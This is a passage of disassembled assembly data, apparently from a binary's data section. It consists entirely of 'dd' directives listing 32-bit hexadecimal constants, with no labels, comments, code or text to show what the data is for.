		dd 91EFD6F0h, 2B05BFFh,	8EA88724h, 35576BB2h, 0E7844B03h
		dd 0D616EE84h, 61051173h, 37EBD5CCh, 27AF2E2Bh,	7EA83667h
		dd 0E7F4551Fh, 980B205Ah, 0C10EDC88h, 0D3C92793h, 2777F8F1h
		dd 0A9C50364h, 3B3B145Bh, 3C5EA5F0h, 0BD572A3Bh, 0CE6E52A5h
		dd 21EB35AFh, 55290FC1h, 5ADA7EEh, 583FA485h, 7F8375AFh
		dd 0F51E334Ch, 19A64AD2h, 39952D4Bh, 8A5083DFh,	0F426290h
		dd 4B5FEB97h, 20337E76h, 0A6826C32h, 83038616h,	8911E996h
		dd 6582B9CBh, 9245206Ch, 0A3F8C19Bh, 0DFC8DF65h, 59D7642Ah
		dd 66AAFAD6h, 2CCB144Ah, 569A2B1Bh, 0D8804982h,	0BEBF441Ch
		dd 0E41F6886h, 111229h,	0E6D96B30h, 0B70D5AD4h,	397F0B05h
		dd 61999C64h, 487190E3h, 1E2A7F48h, 7CDEE155h, 425C86F5h
		dd 0F875351h, 0EC6C3636h, 0CD4BE05h, 707D41Dh, 870F282Ch
		dd 472A3739h, 0C28DD585h, 61669D81h, 0A1AA4113h, 2519709Bh
		dd 0E0D34EA2h, 0C7084A8Dh, 0BE5E1066h, 66E1F1F7h, 0BB5D087Fh
		dd 0EB8821B7h, 0C13D2638h, 7EFCFA35h, 0DB7215ADh, 463ADA60h
		dd 342356BEh, 0C0FC87D8h, 0C1072567h, 0FA0D22C8h, 9A7D0FC3h
		dd 0F21555F1h, 68ACB45Dh, 78AEC44Bh, 8E60493Ah,	5FA23849h
		dd 6F4658Fh, 0AC23DFF5h, 8F06044Ah, 7AD27C74h, 162FDF9h
		dd 0EC41087h, 55A0AA50h, 0D4BC321h, 59F0A584h, 247DFF35h
		dd 0E71FF6FDh, 5C52EBEFh, 9F116CA7h, 97949BFh, 79BB9129h
		dd 0F166DE8Ch, 1DD5F0EDh, 0EA8BA15Ch, 0FF3BA5F4h, 8746D479h
		dd 62E46A28h, 0F02A99A8h, 0F14A33CEh, 0C96EB24Bh, 29237E56h
		dd 0C2AB333Bh, 434EF61Bh, 4D2A323Ah, 7443EEBBh,	0C616C643h
		dd 8F263D54h, 0C80AF772h, 903207F8h, 7AA47207h,	5D360B4Ch
		dd 8D5AA28Fh, 57BD7B13h, 160B6D1Bh, 0D5088939h,	0C47CB84h
		dd 28C1DE7h, 0F5F8D324h, 7B605F10h, 55BEC33Fh, 0A49A6FF2h
		dd 0F5BAE3A5h, 21222890h, 0D4AC8FA3h, 56A28A4h,	0E1CD25F4h
		dd 0BD6E0E6Bh, 10032AE3h, 0A8C88682h, 49D97234h, 6252BE7Ch
		dd 0B73CDE2Eh, 68F0ECB0h, 533B5B7Eh, 5FD07CEAh,	0BA917B48h
		dd 0A09250CDh, 5A0B6EFFh, 0DCD53C9Dh, 5B4AF13Bh, 0E18BD2E8h
		dd 0DBF0CADEh, 374850E4h, 12EA442Fh, 3DC23811h,	0C78825AAh
		dd 20CB2F79h, 2EBADBB0h, 803F36A6h, 0CF0C35BDh,	0B116495Ch
		dd 0B1ADBD16h, 0E4BD589Bh, 7D4BA3A6h, 0FBB6FC63h, 0A3EDC2FBh
		dd 0D893D99Dh, 3306010Ch, 0FC981826h, 33AC9628h, 0E3BF0DA9h
		dd 0B77E74B2h, 0DFB810AFh, 7E5EA849h, 0DE6B3D68h, 1E88E220h
		dd 7879E45h, 0ADF692A9h, 0E7D31345h, 0E7F38515h, 87F7AE7Ah
		dd 19FBF10Fh, 967FAD9Dh, 40F92FABh, 0F876546Fh,	273300D8h
		dd 97D6FB86h, 1E5920BAh, 52746711h, 3A64B585h, 7C61118Ah
		dd 42DA5330h, 0BF2EB4Bh, 0F307E897h, 4DF42C6Ah,	46AC9097h
		dd 47729D27h, 5E1C66C6h, 0B47F6ED1h, 1EFC3A0Ah,	52BAEDC8h
		dd 4E06EE15h, 0ADC2630Ah, 6992666Fh, 54B0D444h,	604F18D6h
		dd 0E7AC9960h, 0BED91EBCh, 0C73EC9D0h, 680DE809h, 0FD842758h
		dd 740F2BCCh, 69674BFh,	0C406470h, 0F1523657h, 0FC7034A1h
		dd 9EB83758h, 36CFC58Fh, 37278BFAh, 794FAEC6h, 0D608EB73h
		dd 55A30228h, 0B7D5FF0Fh, 9432EEB0h, 3131C3F5h,	48F6EBEEh
		dd 14D40A30h, 4AEF7926h, 134870D4h, 0AD6C367Eh,	4D11CD0Ah
		dd 67973889h, 0A808E277h, 0BF54C9BDh, 9662CE6h,	0D805A0Bh
		dd 5C652B95h, 0E0B2A241h, 0AAA3CE97h, 75245B4Ah, 0B7585406h
		dd 28EB7876h, 2463C900h, 3BF06290h, 0EAFCFB7Ah,	741C1490h
		dd 0A897C60Ch, 2030F9EDh, 0E241738Fh, 0B1C267C7h, 90F91A5Dh
		dd 0E4B0ACE1h, 0C1EEC852h, 51A5E88Eh, 51CE2C20h, 8616C89h
		dd 822748A7h, 0FF195389h, 3E640F86h, 39A37BCh, 65EB7F4Fh
		dd 84EE93B0h, 16DD094Ah, 0D82590B1h, 3E5F1066h,	1F5D5FB6h
		dd 792327C8h, 0E08C4714h, 0CA156A2Ah, 2101407Bh, 6308ED02h
		dd 68989E7h, 0A3682F37h, 17254B3Bh, 95AEC93h, 5915B589h
		dd 13310CC1h, 1D1BDDCh,	0F48609E5h, 0E3431062h,	98EE5F2Ch
		dd 0E4109A0Bh, 0C31F38Bh, 742F363h, 4503BCA4h, 0A59FC3F6h
		dd 34ACA7D7h, 0BCDA0A6Fh, 1BF0C119h, 0B95AB305h, 6F6DE0D2h
		dd 3738E4C9h, 2B80C760h, 1723D017h, 72743CFFh, 0C511D10h
		dd 0DCBE205Ch, 58775F6Ch, 16912E61h, 0B0A7627Ah, 0AA9DA0F5h
		dd 0EF27AAF5h, 3ADD0E3Fh, 3105D250h, 8D015B6Eh,	627349BAh
		dd 0D90C6C78h, 94D14741h, 379D4BB6h, 0DF83B342h, 25B3EFBDh
		dd 46816C5Ch, 123BFA11h, 4C04DCC9h, 3ECE918Ch, 41EAD7FEh
		dd 94218351h, 3128E39Dh, 45F7B440h, 72E066D9h, 48C70DFEh
		dd 1609B262h, 4A43C34h,	271D8460h, 36239BD4h, 7F829DCCh
		dd 3D241074h, 0C24DEBC8h, 83A00CB2h, 2CAE7C9Ch,	0B902D33Dh
		dd 5EBC655Fh, 8B50094Ch, 465962BCh, 561AE3B9h, 0C0D4E8E7h
		dd 4E1D13E9h, 0D56DD5ABh, 74F5F972h, 48774A5Eh,	0D585AB48h
		dd 87840F29h, 0B0ADB205h, 0F811D09Ah, 0F7291EC5h, 63A978E0h
		dd 0B325CACCh, 0B488A298h, 2C57BE5Eh, 351BEE31h, 82000FD4h
		dd 0E89A881Fh, 2957C389h, 7A289FE1h, 56441057h,	2C50AA13h
		dd 64388ACh, 3F8F9389h,	0C7865E5h, 26B880ACh, 33A782ECh
		dd 0E3926AADh, 35AF892h, 41ACCD43h, 0A69135D8h,	0AE176A49h
		dd 0DEA3BECCh, 51F15A53h
		dd 0C790DDBDh, 0BED90C8h, 0BE43B5FFh, 6130EE7Fh, 62D13ACDh
		dd 8B8EA681h, 75CF9EECh, 665214EAh, 0C0B962A1h,	832FF4FEh
		dd 85E7D2Eh, 62EA0BA1h,	72300C4Dh, 0EE35819Fh, 13282B99h
		dd 2E9A1DCDh, 260D1536h, 19DC1717h, 0D19C520Fh,	91048047h
		dd 79803B7Ah, 3C73D443h, 0EA4E6187h, 72CB6563h,	0B10FAAE8h
		dd 0BA6EDDB0h, 0C47FA747h, 0A0D45060h, 10F14F45h, 53040FA3h
		dd 0E0E8731Ch, 238602F1h, 0CD6B1546h, 7A9EC5A9h, 3C3B520Dh
		dd 0BF8E2642h, 0BD3C6228h, 8E265F7Eh, 3F831374h, 4954906Fh
		dd 1AFBF6C3h, 43E73F36h, 0A69A2E5Ah, 5F4A02FFh,	37077227h
		dd 0B03CBFD1h, 5F0B3CDDh, 5DBDA03Eh, 0AA89599Ch, 28FA9C24h
		dd 90F81DBDh, 0C3ED73D4h, 9BD50824h, 33716F50h,	0CDA6AF84h
		dd 0A16CB0DBh, 5D466A5Ch, 9542F439h, 0CE8858F7h, 92BFFC7Fh
		dd 0AC992FA4h, 345BAE7Dh, 63048E15h, 975C763Ah,	8BE037Ah
		dd 17537BA0h, 0DA9B5319h, 84898925h, 0DDFD1AD2h, 442E884Fh
		dd 925159Ah, 3FB8AE1Dh,	4E2063C8h, 0CB15120Bh, 0B48A865Fh
		dd 0B3E1B8D8h, 2BA8090Ch, 8215B162h, 44B28BD1h,	468B1FB1h
		dd 6653BEBDh, 8819C535h, 0F19CC361h, 906A660Bh,	0CCBD661Eh
		dd 73C2EF96h, 26DE04DEh, 1B204283h, 0C084484h, 37398D46h
		dd 6A2D190Dh, 0E74BE297h, 313AA313h, 66DACAD7h,	64F6D0CAh
		dd 13F06BDAh, 0CBD1686Ch, 512D7264h, 0A1FCFBC5h, 8EB4E16Ah
		dd 4CB58839h, 25D29B5Ah, 0A676765Eh, 7F03E957h,	0C6545114h
		dd 494C8D58h, 0F9E6975Fh, 54AFC535h, 6D1F7184h,	60B9EB8Fh
		dd 409235Fh, 0F4FACF12h, 0C5B9141Fh, 536985A3h,	7FD89536h
		dd 0CB2DEC92h, 0E3A56211h, 292BCB26h, 63375345h, 0BF86FC48h
		dd 0F5B4093Fh, 4ADBC6F9h, 0A640D29Ch, 0C67FF18Ch, 88C90568h
		dd 0FF972BFBh, 3226462Dh, 865A258Eh, 27626B18h,	0E2B4EBEAh
		dd 990C077Fh, 0D6B7FC04h, 825728Ah, 7A100040h, 36D830B6h
		dd 0AB63625Bh, 0B45BA82Ch, 409B8F12h, 1E11330Bh, 0B5D5783Eh
		dd 0E9724245h, 44F028A8h, 2D0F6195h, 0AE95864Fh, 54ED96A7h
		dd 0A93E81F0h, 0AAB59746h, 82777405h, 0A19F4F57h, 289E57Bh
		dd 5ED053A3h, 803B4CCAh, 19941E8Fh, 17A29A3Dh, 33DDF6D4h
		dd 89A41787h, 0B9C08C1h, 19E8D2EAh, 0CBDC5513h,	0A410EB58h
		dd 5C15F467h, 49A825D3h, 4FB19823h, 0DC3C5F5Bh,	412845E7h
		dd 0D69F7B22h, 0B83E447Ah, 0E684782h, 181CFADh,	6C8FC3E6h
		dd 0DF4608DBh, 14E13B2Ch, 632F9353h, 3ABDB9D6h,	9CEAD6F3h
		dd 0CDAC1CE3h, 6230331Dh, 0E8E6FFD7h, 0F29FBD6Bh, 38DF8DCAh
		dd 98656D89h, 89D3DEFEh, 10016337h, 0A6CBA325h,	0DDC5E77Ah
		dd 75579789h, 20883A9Eh, 6DD6F06Ch, 802D050Ch, 6799455h
		dd 0F5E41FDh, 855ABAB5h, 0AFEB8493h, 24B2BD07h,	0BEBAD4Bh
		dd 870BDE52h, 0AB51B2h,	0D3F6E77Fh, 0F13695D6h,	0EC84F23Bh
		dd 0D258E3D8h, 54F58FD8h, 0CADDE593h, 0FA2FF9D0h, 6843E47Dh
		dd 31646037h, 0DCE86CC7h, 92251907h, 453B7307h,	0E42017E1h
		dd 4828E8A9h, 0AC9850ABh, 0DB68BBA3h, 0F4B0696Fh, 617864BCh
		dd 0BEFF0A3Dh, 0F43C6F21h, 2A2B653Fh, 3239456Eh, 0F186A2F2h
		dd 987CFD90h, 0DDE59147h, 6D48DA3h, 0DFE41ED5h,	0C49E88E2h
		dd 4015BA4h, 0D220B3FBh, 0CBCB75E2h, 4D1843E8h,	5290F8D8h
		dd 0C921548Fh, 0D046DC71h, 0C40077BDh, 0E7439BBBh, 0DE9E8BD5h
		dd 96548B1Ah, 0A38B88CDh, 427179B7h, 0E943E805h, 7A9918Dh
		dd 0D7787Fh, 7B06A7BDh,	0B32445F3h, 52A30023h, 0D3111D6h
		dd 0BFC0130Bh, 0CCC8BBC3h, 0D9CA7A75h, 2E010CD9h, 629D702h
		dd 0BF5BB1CDh, 0CEA7413Ch, 0C7A5DE1Bh, 105CDE2Dh, 8E0247FAh
		dd 8F1876D3h, 320071C5h, 0ABE80534h, 5A6ECBCCh,	0B3D7F010h
		dd 48CF7484h, 70F587EAh, 16ADBF96h, 0EEF4C9D9h,	624B3A4Ah
		dd 8075C8BBh, 0C15DACFEh, 799ABE2Ch, 0E557DE0h,	53580D4Eh
		dd 81228F26h, 6CE22FF0h, 126920ABh, 0DD6B2AEDh,	0DFA2515h
		dd 0D8512DFBh, 600AE3CAh, 0E3FF3AFAh, 16243938h, 0CF8CC9F8h
		dd 0C385279Eh, 0C6B42123h, 0B3E8C882h, 0CD4364A0h, 0CD677860h
		dd 433344FDh, 16A55013h, 0ADA48806h, 6B6B36ACh,	543FBE54h
		dd 43EBA63Ah, 1F92FA54h, 0A8F33D6Eh, 0D923012Eh, 0C39E5D61h
		dd 0C5B2F8C5h, 0B76B8AB3h, 4B908AEEh, 2900B74Dh, 4154C612h
		dd 0CF56F2ACh, 0F2F0918Eh, 4B83C92Ah, 5234EF63h, 132AFE6h
		dd 57BE51A6h, 0F7B0E333h, 0EA4B09E4h, 0ABB15C2Ah, 0BFF19ABBh
		dd 89ADA54Bh, 7E3B5C4Fh, 79229FE6h, 0BC1845A6h,	9DFD9F7Ah
		dd 4062F0BAh, 218C6452h, 85C53D78h, 61D899FCh, 0F2BADA83h
		dd 0C77E49D1h, 12FFB026h, 73BA4D52h, 0FB7A2403h, 41453F00h
		dd 42389E07h, 2BF9014Ah, 16734768h, 0A6FE0698h,	2118A8E1h
		dd 0D49FB3C2h, 761DB91Fh, 0D618617Ah, 0C1E8EF7Dh, 0DABF368Eh
		dd 9062D53Ch, 440E4AC1h, 3602D494h, 5E22DF2Ah, 0EFC3F435h
		dd 0E7055A3Ch, 8C2F7411h, 0F0DB357h, 0C301548Fh, 9FE7372Ah
		dd 0F8F2957Bh, 0B104712Ah, 345BC983h, 1B8F5EF5h, 54B6615Fh
		dd 7432E33Dh, 4E116F89h, 0B321570Ah, 0A836FB22h, 0FE2EADC7h
		dd 0A93236BAh, 981D3455h, 0B6EA509Bh, 2D314FFAh, 0BA2879C2h
		dd 0CD86475Bh, 0DD4F27A0h, 0DF600599h, 91AB7A2Fh, 0E5D7CF7h
		dd 9CD5D5FBh, 16D4C9E2h, 3374CDCCh, 0A9A4248Bh,	0EBCB7AD7h
		dd 2A62D226h, 3D055DA6h, 42484452h, 0A6CE4B56h,	0ACD7798Eh
		dd 0F069C754h, 2A5FE1ADh, 0ADAB75C4h, 0F3B0B337h, 9B6283BAh
		dd 1F8E702h, 7165DDB0h,	20ACA75Ch, 2702B020h, 0EE51B67Ch
		dd 0A415D252h, 19C8809h, 86381586h, 0E7ED4FA5h,	715282DAh
		dd 0FCB8BA86h, 0E9CE9F44h, 83BF2096h, 0AA343E6h, 2DCC8C81h
		dd 6D077353h, 1773C82Eh, 0E8EBD5C0h, 9A387A4h, 9F553608h
		dd 0AFA7F445h, 7173DC3Eh, 59B050BFh, 0EF519559h, 0F6104A06h
		dd 45CE3BD9h, 0FFAEFFB3h, 0BFB37F0Ch, 95F35FF7h, 11ABC937h
		dd 3984A12Bh, 0DF5B066Ah, 11F6F318h, 0C0F322F2h, 3B1048EEh
		dd 94DD250h, 0E13FA621h, 0C1877EA1h, 35A68649h,	0FA457134h
		dd 425A806Dh, 7CEEE3ACh, 0E3CFE8E7h, 8F6E57FAh,	8C28FBBDh
		dd 4AF0F8A8h, 0E3FE5A6Fh, 5A09DC4h, 4E38865h, 5FE72DA9h
		dd 19FEA08Bh, 0DB96A47Ch, 5E212F29h, 0BB837DC3h, 8EEB9AECh
		dd 3CACA925h, 0C0844EF7h, 9C853184h, 0B702F0B3h, 5BA3B6CFh
		dd 0D6B82953h, 0B4C72EF9h, 3D444B3Dh, 0DE6CAF90h, 0A4C8F745h
		dd 99001044h, 0BB74FFB4h, 6C5A7067h, 4EF2A0C6h,	0CA4584CCh
		dd 0D32878BAh, 810E04B8h, 0A0F18A6Bh, 6A0E58C2h, 904C76A2h
		dd 0C43C0A39h, 0CF5B6346h, 6966B51Eh, 0CAEC89Ah, 0AEF57C00h
		dd 0FF44662Ch, 4C312C8Eh, 95ACAD9Dh, 0B9E9B30Ch, 9AED2FD1h
		dd 0DA4BAF03h, 6556EBD4h, 0C2BD4054h, 129B4491h, 3E56DAE7h
		dd 2F7C4159h, 6B212F85h, 2C64E30Bh, 608269ABh, 8EE8B3D5h
		dd 23CDD4F3h, 18188DACh, 91A604F8h, 20D555Ch, 0E9B16C1Eh
		dd 4DD9AE71h, 0EBDC8668h, 2163E1C5h, 27B7011Bh,	3F0A323Ah
		dd 1AF3D9Bh, 0D7E73BCDh, 95D50C7Ah, 2909A9D8h, 1F4EB0EDh
		dd 0F932FA3Bh, 2A0DCE45h, 77ADA0Fh, 758D3419h, 0C103C2C7h
		dd 0C96A13A7h, 0FFD3D4EFh, 9632BEA7h, 0D290133h, 72890161h
		dd 0B78E8B06h, 84F910BFh, 2305B032h, 9A9E4CECh,	0C12EF3DFh
		dd 118C9ABAh, 8B0A6A8Eh, 357AF6B4h, 7D3426BBh, 0D30B3CCAh
		dd 581874BFh, 0F2F5BA7h
		dd 7D23867Eh, 544F9A80h, 7B8D8C12h, 7BAE70CEh, 5A5B96A1h
		dd 9B88909Ch, 0B75F730Fh, 0BCAFC064h, 0CF2E33EDh, 0CB79DD47h
		dd 7BEEF870h, 0A13EB880h, 1906FB9Eh, 2CC52255h,	0F8570E4Eh
		dd 0B5021B0h, 901D2900h, 211C6909h, 8298E35Fh, 10D02F6Fh
		dd 0ED2CD0F6h, 0B43107ACh, 0B14F114Ch, 0FB7F2C2Ch, 40A22701h
		dd 0E2DC8609h, 795B8358h, 10F7C5A1h, 4F0E5C5Fh,	0A0DD23A0h
		dd 58D69E39h, 0F47871FAh, 0F22DCD95h, 9B840FA8h, 2C5AF5DAh
		dd 56D69211h, 681A9FFEh, 1F31FFC0h, 1EC94798h, 65774BAEh
		dd 0E28C3F8Eh, 4C325DC3h, 9C1C3BFh, 0ECE85129h,	0CCAE5BDh
		dd 26AE053h, 922E6937h,	0B0C57F38h, 1971FBBEh, 19E6569Dh
		dd 2F69F5B5h, 0D1E8A6C3h, 0AA4CB485h, 0FAF7183Bh, 38DCE3D4h
		dd 0ECE25E91h, 0BDD3BC2Ch, 181C7E7Eh, 1C04A583h, 31010A3Ah
		dd 0A5763905h, 4434FE91h, 489EB790h, 0A0530ECEh, 0FA88F6Ah
		dd 5931CB70h, 24D05381h, 359646B4h, 0BACD6707h,	31D22645h
		dd 38802045h, 0B32ADAF8h, 8FEB17CDh, 64F20676h,	0BDA61F75h
		dd 13BBAE3Ah, 0FEFEC0ADh, 6BE989DDh, 0D5DF91B8h, 75EC127Ch
		dd 0E06B6BA2h, 0CAF193A2h, 7990D9D9h, 0E24722FFh, 0AFB3F60Ah
		dd 89C112E3h, 0ECEC9C2Ch, 450EB92Eh, 10E98247h,	25677C15h
		dd 0EAC95295h, 8A20A4A6h, 3FA920A5h, 0D659FA87h, 6FEB5476h
		dd 0DDA514D2h, 56A81CA7h, 0BB7D1E86h, 0FFCAC666h, 85AF384Ch
		dd 72814295h, 0D9AD672Fh, 0CF0852AAh, 635FB3CDh, 55060C1Eh
		dd 8ECE8F57h, 63E7BA6Eh, 0F0B2B180h, 7981E530h,	0E16840D9h
		dd 2354BC7Fh, 0A15D9A88h, 0FCD6A928h, 83B94E5h,	0B3632171h
		dd 223B6DB6h, 0CEF98A6h, 3BC46194h, 33B4D184h, 0F67FBBC1h
		dd 0C4926D25h, 3CFB8F74h, 6E31CCFAh, 0D6F6ADF1h, 0F8D65F9Fh
		dd 0E014CA95h, 90626F92h, 539751D3h, 7C33120Bh,	9D079BE6h
		dd 81191B73h, 89338461h, 48FD8383h, 93B0CC30h, 4BB1A416h
		dd 0C15186A8h, 0E470F979h, 3AC9D86Eh, 2C7792C9h, 0C88C15B4h
		dd 0A0E5F92Fh, 0FDEE73C2h, 71C0A2EFh, 3A2A784Ah, 694ACD2Bh
		dd 7CF6666Dh, 1E775326h, 29E87861h, 610B5F04h, 0E0C760C7h
		dd 0F427FA77h, 169DA212h, 0F344486Dh, 90D2C3C6h, 97FE507Eh
		dd 72006DC8h, 0C5CBBC06h, 0E50A9CCCh, 8A4B65A4h, 1A85B010h
		dd 4CFB4C78h, 0D52F59E0h, 0F32AC251h, 0CD44BAF0h, 0DC3549DFh
		dd 1A89CA4Bh, 40D9E549h, 7A8FB56Ch, 8AA07A15h, 3F673D70h
		dd 4FFA8E1Ch, 9B3FDCEBh, 0F2000F19h, 5CCBEC6Eh,	4C26DBD6h
		dd 73CEF41Ah, 551C984Eh, 9E8C7C65h, 6225F934h, 0EB26E566h
		dd 4CC44488h, 0D84DA1C6h, 0D51E9BA0h, 85E36AFAh, 6C5181BFh
		dd 0E26990F4h, 0A9C46F97h, 0C6DB3086h, 0B1A66F3Ah, 0C284925Ch
		dd 317DF19Ah, 1EB443D2h, 35C17244h, 2C42347Dh, 7CA16FD7h
		dd 9E70911Dh, 40402F01h, 0BA5398C3h, 0D7BF4F3Ch, 0C211990h
		dd 8AACCEE6h, 53047D08h, 9DCADC80h, 0F11CE973h,	3678238h
		dd 0BE8F8EB9h, 0B60509C1h, 49B507F9h, 0CFD40A7Dh, 49633597h
		dd 0A2871455h, 8705B847h, 0C93C66C9h, 9DCB8A68h, 8948B956h
		dd 0C8E9EEA9h, 0A7A2421Eh, 8E7920C4h, 0F5BD9E1Ch, 18D7FE71h
		dd 0EDAC9AA3h, 0EB64DD36h, 259D0C19h, 0DF6CCC72h, 7A828C46h
		dd 0DBE87A93h, 26901E7Ch, 98FA7A66h, 0EE40D3A2h, 0DF1D8D4Dh
		dd 2AF7465h, 0F238873Ch, 1B924CB2h, 7C0B4644h, 0A56C74h
		dd 0A9E7C741h, 3584B8E7h, 3245D9F5h, 0ECEB1735h, 0B512273Ah
		dd 0B0BACCC2h, 12DF62D2h, 245F5E24h, 0DC1A778Ah, 0ABF3C3C6h
		dd 7C58A1ABh, 0A42A8727h, 7BD7E623h, 0CCCC623Fh, 18EAAD98h
		dd 0DE1E4829h, 0DE2FCC8h, 0C915A94Ah, 0E2C7DEDh, 783020E4h
		dd 43BF7062h, 0AA1704F4h, 482DBDAFh, 0FF7E01A1h, 1FD5FF14h
		dd 0D30F4B23h, 0EE11521Ah, 0DFAA9C79h, 605581C8h, 7F46FE8Ah
		dd 0D2DFDD4Bh, 37E11E93h, 0E380F7DFh, 0C9B58DC4h, 53BE49D6h
		dd 602CAF97h, 295E335Dh, 0E6D21211h, 6C46C179h,	5CEB2835h
		dd 0E53E0888h, 5F642152h, 7A1E403Eh, 0C4B2C36Ah, 0F2B92AC2h
		dd 5D9BD49h, 0D8DDF566h, 0B4BAC08h, 8A3A0719h, 9713B731h
		dd 535BB29Dh, 332C1BF4h, 520B568Ch, 0F7ADCC94h,	7721197Ah
		dd 46E9DE97h, 45C87329h, 1B368646h, 42C8730Fh, 0C55AB938h
		dd 0C46E9310h, 0E41B5ABBh, 98B3E55Ch, 57E3740Dh, 0E34A4E5Dh
		dd 0BABD2602h, 9E292FE1h, 460D8F52h, 2D71EE30h,	8EB9E89Ah
		dd 58C1BEFBh, 0B3D33E4Dh, 68B92EEEh, 0E622C8C8h, 0DE4E2257h
		dd 707367C6h, 444EC179h, 0B79BA63Dh, 7144F037h,	0F8B2178h
		dd 95FF69FFh, 69854C13h, 1BE57EF8h, 462E577Ch, 0D1B71B65h
		dd 68BBC6FDh, 0E40779EDh, 0B3765ED2h, 2320ECA7h, 4120E72Ch
		dd 100D650h, 5180826Ah,	0C1B3FE72h, 6C7F927h, 75E54844h
		dd 0D8602086h, 1F635A7Eh, 9589C4A9h, 71506866h,	4F6A9A88h
		dd 232364D0h, 282AC8A4h, 0B20C7F4Ah, 2D77A5B3h,	173A08ADh
		dd 6D393560h, 2AF37F4Dh, 8D5E4D0Fh, 0A7B0BBADh,	0B83F596Bh
		dd 99EBE621h, 5546DF3Bh, 0AC77E1FCh, 0B69B4957h, 0D66900BEh
		dd 0ADC210Fh, 0F231AAEDh, 3416BB13h, 198CE1CBh,	0D7F9AB8Dh
		dd 52DE18C2h, 3ACB389Fh, 13537E8Ah, 249BC928h, 5001AB9Ch
		dd 0F9B764F7h, 0C68EFCCFh, 4D4406A5h, 50E7FB54h, 0B967A592h
		dd 6698F43Bh, 538767A5h, 3252D4FBh, 0FB2CE391h,	4F0E1B9Ah
		dd 63E2Ch, 54475290h, 59B088F9h, 0E4E8842Fh, 9FCA844Bh
		dd 7134E98Eh, 0F72B5649h, 6C97788Eh, 98D2D1A4h,	0F8F28C65h
		dd 0FFC02250h, 0EA388CEBh, 0F1AECB48h, 0DB870918h, 4BAEF2ECh
		dd 9D470DF5h, 367F2DA4h, 0B992889Fh, 0F8296EF5h, 0F646A9C5h
		dd 0AA50E800h, 0E3D27FFBh, 0A1438D29h, 0E9E11127h, 5A5C74B9h
		dd 0F313743Ch, 27B26B4Ah, 0BBAC88C1h, 0C2A57470h, 5BF3C858h
		dd 0B1D967C6h, 0C665D06h, 8DAC18AAh, 9C0B81D9h,	2EA6A375h
		dd 6D4FC91Ch, 1770A148h, 0C6262D5Bh, 874F776h, 9AF6E1FEh
		dd 47D29BAFh, 36B4F4DEh, 0BDFB8E4h, 6F8D8DB9h, 4C823A6Fh
		dd 0A79F9157h, 32124DF4h, 0A9B470ABh, 41A4BC89h, 5FA6E6BEh
		dd 835D5FD5h, 0AEA2F09h, 0BA9F7D4Eh, 7AA747C1h,	735592EDh
		dd 9DCEB2D0h, 109FD14h,	72C7E104h, 37425C1Ch, 4665088Dh
		dd 7523A7Ch, 0A5819DCBh, 3F12AB1Dh, 0E2E42C32h,	0C7EDC3FDh
		dd 4E155E67h, 0BD8387AEh, 327143C7h, 51A9B9DCh,	0A77FEBCBh
		dd 8CC8A228h, 241D581h,	89E7FC10h, 37DA50BFh, 0FD0CA569h
		dd 4B052F38h, 81348CA1h, 4B4BCA86h, 87532C9Dh, 1D87A58Bh
		dd 0E7D64EACh, 6041E2B1h, 0F9B8C5B7h, 0F6AA38F3h, 7C706E15h
		dd 6B4460Bh, 0B7F1D645h, 0E4933AC5h, 222BF52Fh,	37D73401h
		dd 7F27BFA3h, 1D325FAFh, 86AB274Dh, 73324F25h, 0DC78C6Eh
		dd 90E3F60Fh, 0CF718D2Bh, 48F4CD3Ah, 0EDE86298h, 0B350D3C4h
		dd 945C025h, 8A0A83AEh,	663CA16Ah, 72CF5617h, 478E86ECh
		dd 91E1C329h, 929F4509h, 7C3FBFDDh, 48743819h, 0B73987AEh
		dd 77596F15h, 8F2D2515h, 452A2A1Eh, 6D040C12h, 45052D4Fh
		dd 5B9AC691h, 0CDDD6FCAh, 6582CE8Eh, 0C0656086h, 385F11FBh
		dd 536E668h, 0C5600A0Ah, 0A1C31B5Fh, 0AC36CFA6h, 2D501673h
		dd 2B549CCBh, 7C575C2h,	0ED6F2DF9h, 0B15EB6C9h,	0E3F4C720h
		dd 5C07BDE5h, 2CF75DFFh, 1AC12B38h, 0AEF1F61Ch,	47C38FDEh
		dd 4B541FBEh, 0A7FEF469h, 94EC29E7h, 87E5EBFDh,	70D2CF30h
		dd 83F28D2Ah, 6EFBAE6Eh
		dd 4602D04Ah, 76808EF4h, 22B0396Dh, 885148D9h, 3FCF15AFh
		dd 7CD0389Dh, 0BA6837A6h, 0F4D9EB6h, 2BB6C4C9h,	56069307h
		dd 85B4E9FEh, 2AD2AFEDh, 0D182CD65h, 500E8D36h,	0EEB3331Fh
		dd 7FFE2F3Bh, 118C030Dh, 85885192h, 0BBB30587h,	0F2810541h
		dd 7C37AA0Ch, 556CDF24h, 0FF2060F8h, 2A23DA04h,	5EAC2513h
		dd 6FE5E7A6h, 7AF3A965h, 89DD3CB2h, 0D82033h, 77DB85A1h
		dd 4586D221h, 31FC7D17h, 0E33A050Eh, 8CD40D62h,	0BA05CC23h
		dd 0C2087D2Dh, 0C56EA890h, 8A7648B8h, 0A78B1D86h, 0BF7F85FEh
		dd 9DEAACC1h, 0ADE75F5Ch, 0CD76BB09h, 0BAC9CBDDh, 2DF35160h
		dd 99241615h, 4123CC06h, 0FDF2A5FAh, 22A03EE7h,	0CA7ACA19h
		dd 5224C648h, 0DC196252h, 479FFF7Bh, 0E78C624Dh, 0D33190ADh
		dd 0ED38A81Bh, 4CC7E188h, 0F02DD1A3h, 0E4E50815h, 5EA6B8D1h
		dd 5522A1Eh, 7471E93h, 168DEEA3h, 864E3B08h, 8D21AC41h
		dd 1C46B45Fh, 56ABB45Ch, 184CFFD2h, 0B4B242D4h,	8BBCDB4h
		dd 58936C47h, 930E9127h, 83291FAh, 0C22F3CCh, 0E58D29CDh
		dd 70E2F6CEh, 7531538Ah, 95DEE8C8h, 3656203h, 0DA963B58h
		dd 77F1C610h, 5C46EB07h, 67568FADh, 39083022h, 0B5897F13h
		dd 32D261C0h, 3BE96F08h, 6DB811BCh, 1D55038Bh, 634B8C69h
		dd 0FD19422Ah, 0C5492FD6h, 604951E7h, 24BA5F3Dh, 881D7CC9h
		dd 326924E9h, 245DC566h, 0D8EE64A1h, 0BA2CE67Eh, 0E7811163h
		dd 4AFDD3F0h, 0F8A860BBh, 8642FED7h, 49937F60h,	792BB9D6h
		dd 0C873C0A6h, 0E18D5C1Bh, 339234B6h, 2CB1272Bh, 0E79D1E4Ah
		dd 0D8E3A09h, 0ADE23867h, 43E910B6h, 0A3C09A5Eh, 452F305Eh
		dd 3791101Fh, 6C10C084h, 0A1A0BB16h, 54604384h,	90F8B77h
		dd 9CE3C018h, 0AE59684h, 98A60903h, 0B5170D26h,	9DFC6F4Eh
